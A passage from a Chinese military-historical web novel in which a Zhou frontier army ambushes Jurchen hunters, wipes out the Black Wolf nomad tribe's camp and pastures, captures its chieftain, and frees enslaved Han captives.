不久后,身后传来急促的马蹄和脚步声,李山、王善、林怒、李明四人带着执行完任务的队伍赶了上来,身上还带着淡淡的血腥气。
“将军,碍事的苍蝇已经清理干净。”李山抱拳复命,言简意赅。
时间回溯到半个时辰前,途经的那片密林时,林子虐狼哀嚎声不断,是一群女**在冬猎,察觉到大队骑兵的动静,竟然主动靠近过来。
秦猛本来不想多惹事端,奈何对方主动来找死。便没有客气,派出四大猛将带队主动出击。
李山、王善、林怒、李明四人带着两百多名精锐步兵,在石地虎等斥候的引领下,悄无声息地摸向女**出现的方位。
他们留下数十人看守马匹,其余人皆轻装简从,利用老松和积雪掩护,迅速布下了包围圈。
有人灵巧地攀上大树,隐藏在枯枝与积雪之后;有人则埋伏在巨大的松树后或以山石作掩护。
一张张硬弓悄然拉开,箭簇在昏暗的林间闪着幽光。
很快,数十个身材魁梧、身背弓箭、腰间挂着狍子、野兔,扛着雪狼等猎物的女**出现了。
他们穿着厚厚的皮袄,口中呼着白气,用女真语大声交谈着,语气之中带着贪婪和兴奋。
“萨里猛安,看这马蹄印,数量不少啊!至少在数百匹以上h像是黑狼部落的马群跑到这边来了?”
“哼,黑狼部入冬前,被南边的周军打得够呛,抢了他们的马,他们敢说什么?我们蒲察部难道还怕他们报复不成?”
“对!抢了马,过冬就更踏实了!”
他们在追猎时发现秦猛大队人马留下的痕迹,以为是发现了狼戎部落散逸的马群,一路追踪过来,正做着发财梦,浑然不知已踏入死亡陷阱。
就在他们大部分人马进入伏击圈的刹那,李山一声令下:“放箭!”
“咻咻咻——!”一波密集的箭雨如同毒蜂般从树林各个角落倾泻而下。女**猝不及防,瞬间被射倒了十多人,惨叫声顿时打破了山林的寂静。
剩下的人惊慌失措,慌忙寻找掩体,或用猎弓盲目还击。
“杀!”王善暴喝一声,如同一头猛虎,率先从一棵大树后跃出,手中环首刀带着劲风,直接将一个刚举起弓的女**连人带弓劈翻在地。
林怒和李明则各率一队人马从两侧杀出,刀光闪烁,枪影重重,如同砍瓜切菜般冲入混乱的女**群中。
李山身形灵动,在树木间快速移动,手中短**点射,专挑那些试图反抗或逃跑的女**下手。
这些女真猎人虽然悍勇,但面对有备而来、配合默契、且个人武艺高强的周军精锐,根本无力抵抗。
战斗呈现一边倒的态势,不到一炷香的功夫,数十名女**便被全部歼灭,一个都没跑掉。仅抓了几个俘虏,包括领队的猛安在内。
雪地上,满是尸体、殷红的血迹和散落的猎物。
李山等人迅速打扫战场,将完好的弓箭、皮袄、以及女**携带的肉干等有用之物全部打包,与后方看守马匹的队伍会合,追赶主力。
这才有了开头李山汇报的一幕。
“把这几个活口赶紧啦,回去审问,多了解**。”秦猛让李山等人归队,又嘱咐牛五等亲兵。
他下令队伍继续前行。
当绿色信号弹升起时,秦猛的队伍也已逼近黑狼部落。他们潜伏在部落外围的山林边缘,向下望去。
只见黑狼部落坐落在山坳背风处,连绵的毡房覆盖了数里之地,规模不小,估摸人口至少有数千。
但此刻,部落栅栏墙上的守卫寥寥,营地内人影稀疏,显然精壮男子大多已被德克萨带出。
秦猛没有立即发动攻击,而是命令部下就地隐蔽,抓紧时间啃食干粮,用精饲料喂饱战马,恢复体力。
直到人马精神重新饱满后,他才深吸一口寒冷的空气,沉声道:“全体准备作战,发信号!”
一名亲兵立刻取出信号筒。
“咚——啪!”
绿色的烟花再次冲上昏暗的天空,在这片树林上空清晰绽放,宣告着致命一击即将到来。
与此同时,黑狼部落正前方,七八里外。
德克萨带队一路逃窜,凭着他多年来积攒的威望,竟重新收拢了约千余残兵,列成战阵,与追击而来的张富贵、周扬率领的千余精锐对峙。
而且摆出了防御阵型!
张富贵见德克萨学乖了,不再轻易出击,便决定将嘲讽升级,专攻其痛处和弱点。
他对通译军卒示意,几个通译军卒深吸一口气,运足中气,用狼戎语高声喝道,骂声如雷。
“德克萨!你这无胆鼠辈,只配躲在妇人裙摆之后发抖!先前像野狗一样被我们撵着跑,现在又像受惊的兔子般
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缩在这里,你的‘黑狼’之名,不如改成‘黑土狗’!”
“看看你身边的勇士们!他们的部落即将化为焦土,他们的妻儿马上要沦为奴隶!而你,他们的酋长,却只敢在这里像只乌鸦一样聒噪。”
“你这个背信弃义的无耻之徒,连自己子嗣都救不了。如今连累部落,不敢用刀剑为他们夺取生路!你算什么英雄?你连部落的狗都不如!”
……
这番话极其恶毒,不仅羞辱德克萨个人勇武,更挑拨他与部下的关系,直指他无法保护部落,句句诛心。
狼戎阵中果然出现一阵骚动,不少士兵看向德克萨的眼神充满了怀疑、夹杂着焦虑和不满。
德克萨听得怒火攻心,几乎要咬碎了牙齿,却死死攥住缰绳,强令自己冷静,不能被激怒。
他知道这是激将法,绝不能上当。猛地抽出弯刀,指向周军阵线,对身边几个大嗓门的亲兵吼道:“骂,骂回去,用最恶毒的话骂。
骂他们的祖宗,骂他们的皇帝,骂他们**。让他们生气、愤怒,让他们来追击我们。”
亲兵们得令,纷纷扯着嗓子,以生硬的汉语,用尽最肮脏、最侮辱的词汇回骂,试图扳回一城:
“周军猪猡!你们只配吃我们狼戎人马蹄下的尘土!”
“你们那个坐在金殿里的皇帝,是个没卵子的阉人,生的儿子都没**!”
“周狗,你们全军都是缩头乌龟,敢过来决一死战吗?”
“你们周国的女人,只配给我们狼戎勇士当尿壶,生的孩子都是杂种!”
……
风雪呼啸,骂声如潮!
双方你来我往,脏话不断,却都按兵不动,场面一时僵持。
狼戎人如吃了臭狗屎般辱骂更为恶毒。充满了对人格、祖先和民族的极度蔑视。按照常理,任何一支有血性的军队都难以忍受这种侮辱。
然而,张富贵和周扬骑在马上,冷眼看着对方气急败坏的狂吠,不仅不怒,反而相视一笑。知道有陷阱当然不会上当,看着**们表演。
周扬低声道:“穷途末路,无能狂怒罢了。”
张富贵点点头,对左右笑道:“兄弟们听见了吗?狼崽子们急了,说明咱们戳到他们痛处了。让他们骂个够,骂得越凶,死得越快。”
周军阵中士兵们见主将如此镇定,又早知敌方有陷阱,原本被辱骂激起的一些火气也很快平息下来,取而代之的是一种猫捉老鼠般的戏谑和冷漠。看着对面,如同看着跳梁小丑。
就在这骂战正酣之际——
“咻——嘭!”一声明显的信号弹爆鸣从部落方向传来。
紧接着,一团绿色的烟花在黑狼部落靠北位置的上空炸开。
第281章 烟花裂营,黑狼末路
“咚——啪——”
一声又一声号炮升空炸响,一路蔓延至远处!
“哈哈哈,德克萨,你完了,黑狼部落也要完了。”张富贵哈哈大笑,吼声如雷,继续挑拨着。
“我们汉人爱好和平,但要是真怒了,谁都挡不住。你们可以投降,可以捆住德克萨送来,家眷可安然无恙,机会给你们,得好好珍惜。”
张富贵的狂笑声随着风雪回荡不休。
昏沉的天空下,那一团团绿色烟花那么的醒目,给人一种不真实感,却又透露出一股致命危机!
^_^德克萨心头猛地一沉,那股不祥的预感瞬间达到顶点!
——部落,出事了!
“不好!中计了!”他瞬间明白,眼前的周军主力正面来袭,只是佯攻牵制,真正的杀招是那支不知何时渡河绕路,迂回到他后方的奇兵!
“撤!快向西撤!去青狼部落!”德克萨当机立断,极为果决地下令。再也顾不得什么陷阱和阵型,调转马头就想带领核心亲卫向西逃窜。
他要保住有生力量,才能够翻盘!
至于后方部落的安危,目前的兵力,无疑是送死。
然而,已经晚了。
他麾下的许多狼戎士兵也看到了部落方向的信号,更隐约听到了随风传来的喊杀声和看到升起的黑烟。部落里有他们的父母妻儿、财产牛羊!恐慌如同瘟疫般瞬间在军中蔓延开来。
“部落被袭击了!”
“快,快回去救人!”
不少狼戎士兵根本不听德克萨的号令,自发地、惊慌失措地拍马朝着部落的方向狂奔而去。
眨眼间,少了两三百人。
原本还显得完整的阵型顿时大乱。
就在这混乱当口,侧翼陡然响起震天的喊杀声。
“杀!”
赵平率领的八百骑兵,如同神兵天降,从一片丘陵后猛地冲出,人人在马上弯弓搭箭,锋利的箭簇如同疾风骤雨般泼洒进混乱的狼戎队伍。
“啊——”伴随着惨叫,顿时人仰马翻,惨嚎四起。
紧接着,大队骑兵如同离弦之箭插入敌军阵营,以擅长的凿穿战术迅速把狼戎兵分割开来。
张富贵见状,知道总攻时机已到,拍马舞棒,一马当先地大吼:“全军进攻!给我杀——!”
千余周军精锐如同决堤洪水,从正面猛扑上来。
德克萨的部队腹背受敌,加上又因为部落驻地被袭,军心涣散,顷刻间便被冲得七零八落。
与此同时,黑狼部落已陷入一片火海与**之中。
秦猛率领的铁甲骑兵,如同从森林中涌出的钢铁洪流,恶狠狠地撞破了部落简陋的栅栏。
**划出狰狞的弧线,点燃毡房上,黑烟与火光冲天而起,将恐慌如同瘟疫般散播开来。
抵抗是零散而绝望的。
一名百夫长目眦欲裂,组织起百余名仓促拿起武器的男子,其中不乏须发花白的老人和面容稚嫩的少年,依托毡房进行最后的挣扎。
“为了部落!”他的吼声很快被周军的喊杀声淹没。
骑兵三人一组,五人一队,配合默契,刀枪并举,**箭连发。他们面容冷峻,对于任何形式的反抗,无论来自男人、女人,甚至是试图偷袭的少年,回应都只有无情地劈砍和刺杀。
战争的法则是残酷的,妇孺之仁只会带来更多的伤亡。
黑狼部落之内,哭喊声、怒吼声、兵刃撞击声、垂死哀嚎声、火焰燃烧的噼啪声交织在一起,构成一幅部落末日来临般的惨烈图景。
恰如大周边陲村坊被捣毁时候的那般!
有贵族在混乱中声嘶力竭地煽动:“儿郎们,投降也是死!周人不会放过我们的,拼了!”
一些血性未失的狼戎女子,也红着眼捡起亲人的刀剑,尖叫着加入战团。
然而,在秦猛冷静的指挥下,周军的进攻如同庖丁解牛。
李山、王善,牛五如同三把尖刀,直插贵族聚居区,刀锋过处,顽抗者纷纷倒地。
刘铁柱、鲁真各率一队锐士,左右扫荡,清理负隅顽抗的据点。
同时,懂狼戎语的军卒奋力高喊:“长生天在上,弃械跪地者不杀!持械反抗者,格杀勿论!”
这喊声在一定程度上动摇了抵抗者的决心。但真正的转折点,发生在一片相对华贵的毡房区域。
鲁真率领一队骑兵在营地内横冲直撞,正遇到一群试图保护一位白发苍苍老者撤离的狼戎人。
护卫中,一名手持古朴长剑的中年人格外醒目。
他剑术精湛,身形飘忽,纵闪腾挪间,剑光闪烁间,竟将七八名试图靠近的陷阵营骑兵逼得无法近身,甚至连续挑落了几人的兵器。
“好个贼子!吃你鲁爷爷一杖!”鲁真见此人手下留情,怒吼一声,庞大的身躯从马背上跃下,沉重的镔铁禅杖带着恶风,直砸向那剑客。
“铛!”一声巨响。
剑杖相交,火星四溅。
那剑客显然走的是灵巧技击的路子,内力精湛,剑招精妙,一时间,竟以巧力化解了鲁真势大力沉的猛攻,偶尔反击的剑招犹如毒蛇出洞,逼得鲁真不得不回杖防守,竟处在了下风。
鲁真怒吼连连,却一时奈何不得对方。
被保护在中心的那位白发老者,正是黑狼部落的长老贾德。他眼见周军铁骑如潮水般从四面八方涌来,族人继续抵抗,只是徒增伤亡。
它又看到鲁真虽看似被剑客缠住,但周军阵型严谨,更多骑兵涌动过来,知道大势已去。
贾德长叹一声,脸上满是悲怆与决然,用尽全身力气,将手中的镶宝石拐杖高高举过头顶,用狼戎语大声呼喊:“住手!都住手
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!”
接着他又用流利的汉语说着:“大周的军队,黑狼部落……投降了!我们投降!不要再杀了!”
贾德的声音苍老却带着一种不容置疑的威严。
那剑客闻声,虚晃一剑,逼退鲁真一步,随即收剑后跃,护在贾德身前,目光警惕地看着鲁真,但不再进攻。
贾德推开搀扶他的人,上前几步,再次高呼:“老夫贾德,黑狼部长老,愿代表部落幸存者向天朝将军请降!任凭将军处置,只求……只求将军慈悲,止住刀兵,给妇孺老弱一条生路!”
周围的狼戎人见到德高望重的贾德长老竟然行此大礼,又听到他的呼吁,残存的斗志终于彻底崩溃。
叮叮当当……
武器被扔在地上的声音此起彼伏,越来越多的人哭泣着跪倒在地。
秦猛在亲兵们的簇拥下,策马而来,冷冽的目光扫过跪伏在地的贾德和周围一片狼藉的营地。
此时,那持剑的剑客站出来,沉声用汉语说道:“这位将军,贾德长老素来仁善,极力主张和平共处,部落中掳掠来的两百余汉人奴工,多蒙他暗中周旋,得以幸存。请将军明鉴。”
“哼,你是汉人?”秦猛看了他一眼,语气平淡,却带着不容置疑的威严:“草原上,弱肉强食,黑狼部落既然投降,就要有俘虏的觉悟。
战败,就一无所有!
本将可以承诺,不再滥杀投降之人。但黑狼部落常年入境劫掠,自此之后,黑狼部落已成历史,你等皆为我军战俘,需劳作以赎其罪。”
贾德匍匐在雪地上行礼,声音颤抖:“谢将军不杀之恩……黑狼部落……听从安排。”
秦猛不再多言,勒转马头,下令道:“彻底清扫营地,将所有俘虏集中看管,清点人口物资。警戒四周,防止溃兵鱼死网破。”
“得令!”众将轰然应诺。
林怒带人冲向马厩,控制住部落最重要的机动力量。
李明则率部猛攻粮仓所在,迅速占领。
刘铁柱、鲁真等将领分兵把守各条要道,防止或将试图集结或逃窜的狼戎人驱赶回来。
随着贾德的投降,黑狼部落有组织的抵抗迅速瓦解。
铁血军寨士兵开始高效地执行命令,将幸存的狼戎人从藏身之处驱赶出来,无论贵族还是平民,男人还是女人,老人还是孩子,都在明晃晃的刀枪逼迫下,被赶到部落空地上。
瑟瑟发抖地挤在一起,周围是虎视眈眈的周军士兵。敢于反抗或逃跑的,都已倒在血泊之中。
这就是战争的残酷!
秦猛对此只是冷漠,边陲的百姓比这惨多了。军寨有多少户孤寡单丁口,皆是拜**所赐。
就在他巡视黑狼部落时,两团红色烟花先后绽放!
此次,不光是族长驻地遭袭,分马场也难以幸免!
第282章 雪原三击,狼巢尽覆
朔风凛冽,卷过茫茫雪原,发出呜咽般的呼啸。
这片看似无边无际的白色世界,自古以来便是中原王朝的心腹大患。
草原游牧部落之所以难以被根除,非因其战力绝对强横,实因其生存方式
——逐水草而居,迁徙无常。毡帐为家,骏马为腿,人均双骑乃至多骑的机动性,让他们来去如风。
大周军队即便强盛,深入广袤的草原亦如巨拳击纱,常陷于补给艰难、寻敌不到的窘境。
各游牧部落之间虽有盟约或仇杀,但对传统放牧的“分地”却有不成文的规矩,越界便是争端。
因而各部落在自家地盘内,自然形成了一套不成文,通过游骑巡逻、要点驻防或部落联盟相互照应的“守卫”机制,以确保对草场的控制。
黑狼部落,便是盘踞在这片方圆百余里草场上的一个中型狼戎部落。若在夏秋丰饶之际,部落民会分散在十多处水草丰美的牧场,照看庞大的牛羊群,那时兵力分散,难以捕捉其主力。
但冬季的严寒与冰雪,如同一把双刃剑,既限制了他们的活动,也迫使他们收缩力量。
为了抵御更强大的女真、契丹等大部族可能趁虚而来的掠夺,黑狼部落入冬后,便会化零为整,将人畜集中到族长驻地以及东、西两处最大的冬季牧场,抱团取暖,加强守卫。
此刻,族长驻地火光冲天,浓烟滚滚,正是这“收缩防御”策略被大周军方精准利用的结果。
这些至关紧要的情报,并非凭空得来。
首先,贪生怕死的黑狼部落酋长之子穆托达,在被俘后为求活命,如同竹筒倒豆子般,将部落的虚实、牧场位置、兵力配置乃至冬季集结的规律交代得一清二楚。
其次,秦猛军中精锐的侦察力量“飞天卫”早已先期潜入,对穆托达的口供进行了多方核实与实地勘察,确认了黑狼部落冬季的确仅余三处主要据点。
且除了族长驻地,另两处牧场外围并未发现大规模陷阱或严密的警戒哨卡,每处守卫兵力约在五百到八百之间,以战士为主,辅以青壮牧民。
情报确凿,意图便愈发坚决。
此番北上,大周边军的目的绝非简单的击溃或驱逐,而是要“杀鸡儆猴”,以一场彻底的、毁灭性的胜利,来震慑整个草原上的游牧部落。
不仅要消灭黑狼部落的有生力量,更要将其从草原部落的图谱中彻底抹去。
这份决心,不仅是秦猛、赵平等少壮派将领的渴望,更是坐镇后方的赵将军权衡利弊后,“王八吃秤砣——铁了心”要达成的战略目标。
既然要打,就必须一棍子打死,永绝后患!
因此,当秦猛、赵平率领的主力部队对黑狼部落族长驻地发动雷霆一击的同时,另外两把致命的尖刀,也已经悄无声息地抵近了黑狼部落的另外两处命门——东草场与西草场。
当族长驻地方向,代表“进攻”的绿色烟花接连升空,在灰蒙蒙的天幕上炸开耀眼的光芒时,严风和吴斌眼中同时闪过凌厉的寒光。
刹那间,两处看似平静的冬季牧场,即将被战争的铁蹄无情踏碎……
三十里外,黑狼部落东草场
寒风卷着雪沫扑打在严风冷峻的脸上。他率领的狂风营骑兵静静潜伏在一处低矮的雪坡之后。
远处,黑狼部落族长驻地方向升起的浓烟依稀可见,而近处,便是黑狼部落一处重要的牧场。
据情报,此地常驻约五百余战士,由一名骁勇的千夫长统领,并圈养着近三千匹战马和大量牛羊。
族长驻地有异常情况,不久后,东草场方向人喊马嘶,约三百骑在一个彪形大汉的带领下,仓皇冲出,呼喊震天,意图驰援族长驻地。
“将军,他们出来了!”副将低声道。
严风眼神锐利如鹰,抬手,缓缓压下。身后五百精锐骑兵无声地握紧了兵刃,检查弓弦。
待那支援军大半进入狭窄的谷地,严风猛地挥手下劈。
“放箭!”
霎时间,箭矢如蝗,从两侧坡顶倾泻而下!毫无防备的狼戎骑兵顿时人仰马翻,惨嚎声响成一片。
那领头勇士惊怒交加,狂吼着,试图组织抵抗,但第二轮、第三轮箭雨接踵而至,队形已乱。
“杀!”严风一马当先,率骑兵如狂潮般从坡顶冲下,瞬间将残存的狼戎人分割、包围。
刀光闪烁,血花飞溅。战斗几乎是一边倒的**,不过一刻钟,三百狼戎骑兵包括那名千夫长,尽数伏诛,仅有寥寥数骑趁乱逃回草场报信。
“追着溃兵,冲进去!控制马厩和要道!”严风毫不迟疑,马鞭直指已然混乱的东草场。
狂风营铁骑挟大胜之威,紧随着溃兵杀入营地。营地内的老弱妇孺和少量留守战士尚未组织起有效防御,马厩和几个出入口已被迅速控制。
失去了马匹的狼戎人,在精锐周军骑兵面前,如同待宰羔羊。抵抗是零星的,也是徒劳的。雪地被鲜血染红,哭喊声、兵刃碰撞声、战马嘶鸣声响彻草原。
严风面无表情地驻马而立,扫视着这场迅速平息的血战。
他久经沙场,见过太多**寇边时制造的惨剧,眼前的场面并未让他心绪波动。
“清点战损,控制所有马匹牛羊,俘虏集中看管。”
“反抗者,就地
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格杀!”严风的命令简洁而冰冷。
一颗号炮飞到高空,血色烟花绽放。
此战,狂风营以极小的代价,毙敌近四百,俘获男女老少数百人,缴获战马三千五百余匹,牛羊无数。
战场被迅速清理,硝烟与血腥味在寒风中缓缓飘散。
六十里外,黑狼部落西草场
几乎在同一时间,绿色烟花由远及近。雷霆营主将吴斌收到了进攻的信号。
西草场距离族长驻地更远,警戒相对松懈,但规模更大,约有七百战士守卫,牲畜数量也更为庞大。
吴斌的策略更为直接粗暴。
“距离远,他们来不及反应。全军突击,直取核心!”
没有埋伏,没有花巧,千名雷霆营骑兵如同雷霆霹雳,在苍茫雪原上划出一道迅猛的箭头,径直冲向毫无准备的西草场营地。
哨塔上的狼戎士兵刚刚发现天际线的黑点,还没来得及吹响号角,奔腾的铁骑已至营栅之前!
——拒马被粗暴地撞开,营门在铁蹄下碎裂。
“敌袭——!”
凄厉的呐喊瞬间被震耳欲聋的喊杀声淹没。
吴斌一马当先,长刀左劈右砍,如入无人之境。雷霆营将士紧随其后,疯狂**那些刚从帐篷里钻出来、甚至来不及找到自己坐骑的狼戎战士。
战斗从一开始就进入了最残酷的混战阶段,但失去机动先机的狼戎人完全处于下风。
马厩是首要目标,一队精锐周军不顾一切地冲杀过去,迅速将其掌控。交通要道也被分兵把守。
营地内,失去了马匹的狼戎勇士尽管悍勇,却难以抵挡成群结队、配合默契的周军骑兵冲阵,纷纷倒在血泊之中。
场面惨烈,雪原被践踏得泥泞不堪,到处是倒毙的人马尸体。
吴斌驻马在一处稍高的土坡上,冷眼看着部下清剿残敌。
他的脸上沾着几点血污,眼神却如同脚下的冰雪般寒冷。对于草原部落的覆灭没有丝毫感触。
但凡在边陲就得谨记,弱小就挨打。
这些游牧民族秋高马肥时,入寇边镇,劫掠边军,摧毁村镇,造成的惨剧远比今日更甚。
战斗持续了约半个时辰,抵抗基本停止。清点结果,毙敌逾五百,俘获近两百人,缴获战马超过三千匹,牛羊牲畜拢共有十余群。
雷霆营自身伤亡不足三十人,可谓一场酣畅淋漓的大胜。
“打扫战场,将所有俘虏和物资集中看管,等候主力命令。”吴斌下令,声音洪亮,不带丝毫感情。
西草场上空血色烟花绽放,一股股黑烟与血腥气交织,宣告着黑狼部落崛起的希望被彻底斩断。
第283章 多重伏杀,在劫难逃
“杀、杀……”黑狼族长驻地外震天的喊杀声渐渐小了。
赵平、张富贵、周扬所率领的飞虎卫多面绞杀。酋长德克萨率领麾下部落骑兵浴血奋战。
然而,部落骑兵在战马素质、兵甲装备、训练水平乃至兵力人数都处于全面劣势下,尽管凭借一股血勇奋力搏杀,却终究难敌大周精锐的钢铁洪流。战场呈现一边倒的态势。
狼戎骑兵被分割、包围、歼灭,节节溃败,凄厉的惨叫声与兵刃碰撞声、战马哀鸣声交织,响彻雪原,鲜血将大片白雪染成刺目的红褐色。
德克萨身为酋长,确实骁勇,手中弯刀连劈数名周军士卒,但大势已去,他身边忠心的亲卫如同阳光下的冰雪般不断消融,迅速减少。
眼看败局已定,德克萨双目赤红,心中滴血,却也不失枭雄本色,知道再缠斗下去唯有死路一条。
“快撤!”
他狂吼一声,**起最后数十名最为忠心的亲兵,朝着周军阵型一个相对薄弱的方向,发起了决死的冲锋,凭借一股悍勇之气,竟真的被他勉强撕开一道缺口,杀出了一条血路。
德克萨管不了其他族人,甚至不敢回头望一眼烟火冲天的部落方向,那里显然也已遭难。
此刻,他脑海中唯一的念头便是逃!向西逃!逃到与他黑狼部落素有交情、实力更强的青狼部或白鹿部落去,祈求庇护,借兵复仇!
于是,德克萨带着仅存的数十骑,如同丧家之犬,丢下溃兵,拼命向着西边打马狂奔。
“驾:驾……”风雪扑打在他因失败和愤怒而扭曲的脸上,心中的侥幸与现实的绝望激烈交织。
然而,这一切挣扎,早已在赵起、秦猛的算计之中。
一张无形的大网,早已在他可能的逃亡路线上悄然张开。
第一伏,王魁!这位奉赵将军密令早已潜伏在此的精干将领,率领百余精锐骑兵,如同蛰伏的恶狼,骤然间,从侧翼的雪沟中杀出。
一通精准而密集的箭雨劈头盖脸射来,德克萨身边的亲兵猝不及防,顿时有十数人中箭**,队伍再次减员。
德克萨侥幸躲过,凭借马快,不敢恋战,带着残兵拼死冲过拦截,方向已略偏向西北。
第二伏,李雄!这位从南河城寨紧急抽调来的悍将,早已等得不耐烦。见德克萨残部奔来,他立刻率队从一处矮坡后呼啸杀出,拦腰截断!
又是一场短兵相接的混战。
德克萨困兽犹斗,确实勇猛,亲手格杀两名周军骑兵,竟再次被他带着三十余骑突围而出。
但经此一击,他如同惊弓之鸟,再不敢直接向西,转而向正北方向逃窜,希望能绕开拦截。
第三伏,徐强!这是秦猛特意派遣的伏兵后手。
徐强心思缜密,并未正面狙击,而是在一段看似平坦的雪原上,巧妙布下了绊马索和简易陷坑。
人困马乏的德克萨残兵一头撞入其中,顿时人仰马翻,又有十几人折损于此地,哀嚎声被风雪吞没。
当德克萨身边只剩下不足二十人,且个个带伤、人马皆疲之时,真正的终结者出现了。
最后一击,袁飞!
这位以冷静和箭术闻名的将领,如同鬼魅般悄然现身于他们前方的一道小山坡上。百来个教导队精锐无声地散开,封**所有去路。
袁飞面无表情,目光锁定那个虽然狼狈却依旧显眼的部落酋长。他缓缓张开那张巨弓,搭上一支特制的破甲箭,弓如满月,箭似流星!
“嗖——噗嗤!”
这一箭,快得超乎肉眼捕捉!
好个德克萨,他反应极快,手中弯刀闪电般格挡。
“哐啷”弯刀跟箭矢相撞,火花似箭。
紧接着,德克萨脸色巨变,他只觉得胳膊剧痛,弯刀被高高扬起,整个人都向**斜着。
他却死死拽着缰绳,胯下战马惊慌地人立而起,轰然将惊骇万分的德克萨狠狠摔落在冰冷的雪地之中,摔得他七荤八素,兵刃也脱手飞出。
不待他挣扎爬起,袁飞带队已经杀开,展开绞杀。十几名如狼似虎的周军精锐早已扑上,雪亮冰冷的钢刀,瞬间架在了他的脖颈之上。
其余的残兵,也顷刻间被制服或格杀。
德克萨,这位曾经野心勃勃、屡屡入境劫掠、欲图在黑狼部落史上留下辉煌一笔的酋长,此刻满脸是雪泥和血污,眼神中充满了不甘、**和难以置信的绝望,彻底沦为了阶下之囚。
至此,这场动员五千余精锐、策划周密、执行坚决的灭族之战,以黑狼部落的彻底覆灭而告终。
曾经强大的黑狼部落,这个年年秋季都如噩梦般侵扰大周边疆、烧杀抢掠的祸患,在永泰十四年二月,实质上已经从草原的版图上被抹去。
……
黑狼部落族长驻地,刚刚经历战火的营地一片狼藉。
“将军,救救我们,”
“这位将军,您是来救我们的吗?”
“呜呜呜,将军,我想回家。”
当陷阵营将士撬开牢门,两百多名衣衫褴褛、骨瘦如柴的奴工被从阴暗潮湿的牛栏解救出
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来时,压抑的哭泣和虚弱的求救声顿时响成一片。
他们中有男有女,甚至有半大的孩子,个个面黄肌瘦,单薄的破衣服难以蔽体,身上鞭痕交错,触目惊心。在寒风中蜷缩着,瑟瑟发抖。
林怒、李明等人一边指挥士兵从狼戎人的尸体上扒下还算完好的皮袄,给这些受尽折磨的同胞披上,一边分发清水和干粮。看着同胞们狼吞虎咽、感激涕零的样子,许多士兵都红了眼眶。
这就是被**掳来的汉人百姓的下场。
这就是秦猛,赵平好战分子非要打**的原因所在!
原本因清点出大量马匹牛羊而心情大好的秦猛,看到这一幕,脸色瞬间阴沉得能滴出水来。
他目光冰冷地扫过被集中看管的俘虏群,对**使了个眼色。
很快,一队亲兵“请”来了以贾德长老为首的黑狼部落投降贵族、那护卫在贾德身边的汉人剑客。
“看看!”秦猛指着那群凄惨的奴工,脸上却挤出一丝令人心悸的微笑,对着贾德等人说道。
“这些汉人百姓,都是你们部落入境劫掠来的吧?”
包括贾德在内的贵族们纷纷心虚地低下头,不敢与秦猛对视,更不敢看那些奴工充满恨意的目光。
那汉人剑客嘴唇动了动,似想辩解。
“你给老子闭嘴!”秦猛猛地扭头,厉声喝斥,声如炸雷,“你是个汉人,胳膊肘总是往外拐。
扪心自问,若不是他们年复一年的入寇烧杀劫掠,祸害我汉家百姓,抢他们的粮,捣毁他们的家园,这些同胞怎会在此受这非人之苦?
你身怀武艺,又是练习剑术,不想着解救同胞,却在此助纣为虐,是何道理?若非念你有些本事,信不信本将立刻将你斩首示众?”
那剑客被呵斥得脸色涨红,猛地抬头,拱手争辩道:“这位将军,在下周鸣,绝非助纣为虐之徒。
数年前,我遭中原仇家追杀,一路北逃至草原,身负重伤,濒死于这雪原,是贾德长老救了我,悉心照料两月之久,我才得以活命。
故而,周某留下报恩,教导其孙剑术,也只为略尽绵力,并暗中对落难同胞稍有看顾。将军,事分对错,人有好坏,人心皆有善恶。”
“好人和坏人,岂可以族类一概而论?”
这些年来,周鸣在草原上生活有自己的感触。看到不少往常有过焦急的狼戎人**心有戚戚。
他明明知道说这些话有可能激怒眼前这位虎贲军的将军,却还是梗着脖子表达自己的观点。
第284章 分化俘众,阶下之囚
“大周有欺压良善的豪强恶吏,有构陷忠良、祸乱朝纲的奸臣。”岳明说到后面一句时咬牙切齿。
“黑狼部落也是有好人,有坏人,有如贾德长老这般仰慕汉文化、主张和平交易、反对劫掠的明理之人!
也有德克萨这种刚愎自用,一意孤行。是这位酋长不听劝诫,入境劫掠,方有今日之祸。将军既已获胜,还望能区分对待,勿要过度折辱俘虏,否则与劫掠边陲的**又有何异?”
“乱杀无辜,只会徒增仇恨……”
“大胆!我家将军的胸襟,岂是你能妄加揣度?”旁边的牛五虽对这汉子的态度略有改观,但却不允许对方胡说八道,忍不住瞪眼出声喝斥。
身后,阮大,李明,李威等亲兵手纷纷按住了刀柄,只要秦猛一声令下,就上前**此獠。
“好了!”秦猛摆手制止了牛五,盯着周鸣笑了笑:“你倒是有几分勇气,就不怕本将恼羞成怒?”
“死,何惧之有?”周鸣昂首挺胸,坦荡无愧色。
“好,看来你是有故事的人呐!”秦猛笑了笑,随即正色道:“我汉家儿郎讲究礼尚往来。虎贲军将士刚正不阿,不会做折磨俘虏之事。
尤其是我铁血军寨,更是物尽其用,人尽其才。老子一向讲究识时务者为俊杰,只要肯干好好干,就能吃饱饭,从来不打骂,不用刑。”
秦猛大义凛然地说着友善,脸上没有丝毫异色。
说者无心,听者有意!
那个头发花白的贾德长老听到铁血军寨几个字,拄着拐杖上前问道:“将军,您是秦将军?”
“周鸣是吧?你说的话很有道理,不是迂腐之辈。有时间我们好好聊聊,说不定咱志同道合。”
秦猛朝周鸣豁达地笑了笑,目光转向眼神复杂却带着焦急的贾德,语气忽然缓和了几分。
“贾德长老,本将秦猛,你有事儿?”
老头见秦猛自证身份后,拱了拱手,直接询问:“秦将军,年前族长德克萨答应贵国董姓官员,派出八百精锐相助,我孙子伯恩是否活着?”
“你就是伯恩的祖父?”秦猛略感诧异,直言不讳地说道:“告诉你一个消息,你的孙子伯恩,并未战死,如今就在我营中,安然无恙。”
“什么?伯恩……他还活着?”贾德猛地抬头,浑浊的老眼中爆发出难以置信的惊喜光芒,他原以为派去入境攻打边寨的孙子早已凶多吉少。
“自然是真的!”秦猛见状,露出个和善的笑容,“长老放心,稍后,你们祖孙便可团聚。”
伯恩,被俘后颇为硬气,不像穆托达那般软骨头。加之他以往并无劫掠恶行,故秦猛不仅留他性命,还当作反面教材养着,以待今日。
不等贾德道谢,秦猛继续道:“你需安抚好部众,传我命令:普通牧民,私产如金银细软、衣物被褥仍归个人,少部分牛羊也可留下度日,这是他们的财产,但需要登记报备。
而且只要安分守己,日后皆是我大周子民,将分予土地,学习耕种、文字,安居乐业,再无冻馁之忧,强过在草原逐水草、担惊受怕百倍!”
“多谢将军天恩!老朽……老朽感激不尽!”贾德听到这番话后,真心实意地深深一揖。这对绝望中的部落民众而言,无疑是条活路。
“将军,那我们的牛羊、财物呢?”几个听得懂周话的贵族心思活络,凑上来急不可耐地嚷道。
